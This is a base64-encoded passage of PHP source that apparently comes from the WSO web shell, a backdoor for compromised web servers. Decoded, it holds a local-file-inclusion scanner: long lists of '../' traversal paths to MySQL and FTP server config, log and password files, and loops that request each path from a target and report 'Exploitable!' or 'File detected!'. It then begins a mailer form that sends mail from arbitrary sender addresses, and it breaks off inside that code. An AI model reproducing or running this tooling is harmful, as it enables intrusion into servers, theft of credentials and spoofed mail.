ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbGliL215c3FsL215LmNuZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9teXNxbC9teS5jbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsZC5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL215LmNuZiIuJGJ5dGUxLiIiKTsgDQogICAgICAgICANCiAgICAgICAgICAkbGZpZnRwID0gYXJyYXkoIA0KICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2xvZ3JvdGF0ZS5kL3Byb2Z0cGQiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi93d3cvbG9ncy9wcm9mdHBkLnN5c3RlbS5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3Byb2Z0cGQiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHJvZnRwLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHJvdHBkL3Byb2Z0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy92aGNzMi9wcm9mdHBkL3Byb2Z0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wcm9mdHBkL21vZHVsZXMuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvdnNmdHBkLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy92c2Z0cGQuY2hyb290X2xpc3QiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2xvZ3JvdGF0ZS5kL3ZzZnRwZC5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3ZzZnRwZC92c2Z0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdnNmdHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2Nocm9vdFVzZXJzIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cveGZlcmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvYWRtL2xvZy94ZmVybG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy93dS1mdHBkL2Z0cGFjY2VzcyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvd3UtZnRwZC9mdHBob3N0cyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvd3UtZnRwZC9mdHB1c2VycyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3Ivc2Jpbi9wdXJlLWNvbmZpZy5wbCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvZXRjL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlLWZ0cGQvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL3B1cmVmdHBkLnBkYiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcHVyZWZ0cGQvZXRjL3B1cmVmdHBkLnBkYiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcHVyZWZ0cGQvc2Jpbi9wdXJlLWNvbmZpZy5wbCIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcHVyZWZ0cGQvZXRjL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDI4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkL3B1cmUtZnRwZC5wZGIiLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmVmdHBkLnBkYiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZWZ0cGQucGFzc3dkIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlLWZ0cGQvcHVyZWZ0cGQucGRiIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9wb3J0cy9mdHAvcHVyZS1mdHBkLyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvcG9ydHMvbmV0L3B1cmUtZnRwZC8iLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BrZ3NyYy9uZXQvcHVyZWZ0cGQvIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMzUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9wb3J0cy9jb250cmliL3B1cmUtZnRwZC8iLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9wdXJlLWZ0cGQvcHVyZS1mdHBkLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDM3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9sb2dzL3B1cmUtZnRwZC5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9wdXJlZnRwZC5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9mdHAtcHJveHkvZnRwLXByb3h5LmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDQwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Z0cC1wcm94eSIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDQxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Z0cGxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDQyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvbG9ncm90YXRlLmQvZnRwIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9mdHBjaHJvb3QiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA0NCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2Z0cGhvc3RzIi4kYnl0ZTEuIiIpOyANCiAgICAgICAgIA0KICANCiAgICAgICAgICR4ID0gMTsgDQogICAgICAgICBpZiAoICR0eXBlID09IDEgKSB7IA0KICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsgDQogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsgDQogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsgDQogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsgDQogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9IiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICB3aGlsZSgkbGZpYWNjZXNzWyR4XSkgeyANCiAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaWFjY2Vzc1skeF0pOyANCiAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsgDQogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9IiIuJHRhcmdldC4iIi4kbGZpYWNjZXNzWyR4XS4iIj4iLiR0YXJnZXQuIiIuJGxmaWFjY2Vzc1skeF0uIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpYWNjZXNzWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICBpZiAoICR0eXBlID09IDIgKSB7IA0KICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsgDQogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsgDQogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsgDQogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsgDQogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9IiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICB3aGlsZSgkbGZpY29uZmlnWyR4XSkgeyANCiAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaWNvbmZpZ1skeF0pOyANCiAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsgDQogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9IiIuJHRhcmdldC4iIi4kbGZpY29uZmlnWyR4XS4iIj4iLiR0YXJnZXQuIiIuJGxmaWNvbmZpZ1skeF0uIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpY29uZmlnWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICBpZiAoICR0eXBlID09IDMgKSB7IA0KICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsgDQogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsgDQogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsgDQogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsgDQogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9IiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICB3aGlsZSgkbGZpZXJyb3JbJHhdKSB7IA0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpZXJyb3JbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7IA0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPSIiLiR0YXJnZXQuIiIuJGxmaWVycm9yWyR4XS4iIj4iLiR0YXJnZXQuIiIuJGxmaWVycm9yWyR4XS4iPC9hPjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmllcnJvclskeF0uIjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICR4Kys7IA0KICAgICAgfSANCiAgICAgIH0gDQogICAgICAgICB9IA0KICAgICAgICAgaWYgKCAkdHlwZSA9PSA0ICkgeyANCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7IA0KICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7IA0KICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7IA0KICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7IA0KICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPSIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIiI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2hpbGUoJGxmaXBocGluaVskeF0pIHsgDQogICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmlwaHBpbmlbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7IA0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPSIiLiR0YXJnZXQuIiIuJGxmaXBocGluaVskeF0uIiI+Ii4kdGFyZ2V0LiIiLiRsZmlwaHBpbmlbJHhdLiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaXBocGluaVskeF0uIjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICR4Kys7IA0KICAgICAgfSANCiAgICAgIH0gDQogICAgICAgICB9IA0KICAgICAgICAgaWYgKCAkdHlwZSA9PSA1ICkgeyANCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7IA0KICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7IA0KICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7IA0KICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7IA0KICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPSIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIiI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2hpbGUoJGxmaW15c3FsWyR4XSkgeyANCiAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaW15c3FsWyR4XSk7IA0KICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyANCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj0iIi4kdGFyZ2V0LiIiLiRsZmlteXNxbFskeF0uIiI+Ii4kdGFyZ2V0LiIiLiRsZmlteXNxbFskeF0uIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpbXlzcWxbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIGlmICggJHR5cGUgPT0gNiApIHsgDQogICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOyANCiAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOyANCiAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOyANCiAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOyANCiAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj0iIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiIiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoaWxlKCRsZmlmdHBbJHhdKSB7IA0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpZnRwWyR4XSk7IA0KICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyANCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj0iIi4kdGFyZ2V0LiIiLiRsZmlmdHBbJHhdLiIiPiIuJHRhcmdldC4iIi4kbGZpZnRwWyR4XS4iPC9hPjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmlmdHBbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCmlmICggJHR5cGUgPT0gNyApIHsgDQogICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOyANCiAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOyANCiAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOyANCiAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOyANCiAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj0iIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiIiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iO3sgDQogICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmlwcm9jZW52KTsgDQogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7IA0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPSIiLiR0YXJnZXQuIiIuJGxmaXByb2NlbnYuIiI+Ii4kdGFyZ2V0LiIiLiRsZmlwcm9jZW52LiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaXByb2NlbnYuIjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgfSANCiAgICAgIH0gDQogICAgICAgICB9IA0KICAgICAgfSANCndzb0Zvb3RlcigpOyANCn0gDQpmdW5jdGlvbiBhY3Rpb25waHB0b29scygpIHsgDQp3c29IZWFkZXIoKTsgDQo/PjxjZW50ZXI+PD9waHAgDQovL21haWxlciANCmVjaG8gJzxiPk1haWxlcjwvYj48YnI+IA0KPGZvcm0gYWN0aW9uPSInLiRzdXJsLiciIG1ldGhvZD1QT1NUPiANCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJwaHB0b29scyI+IA0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvIHZhbHVlPXRvPjxicj4gDQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZnJvbSB2YWx1ZT1mcm9tPjxicj4gDQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3ViamVjdCB2YWx1ZT1zdWJqZWN0Pjxicj4gDQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Ym9keSB2YWx1ZT1ib2R5Pjxicj4gDQo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9U3VibWl0PjwvZm9ybT4nOyANCmlmIChpc3NldCgkX1BPU1RbJ3RvJ10pICYmIGlzc2V0KCRfUE9TVFsnZnJvbSddKSAmJiBpc3NldCgkX1BPU1RbJ3N1YmplY3QnXSkgJiYgaXNzZXQoJF9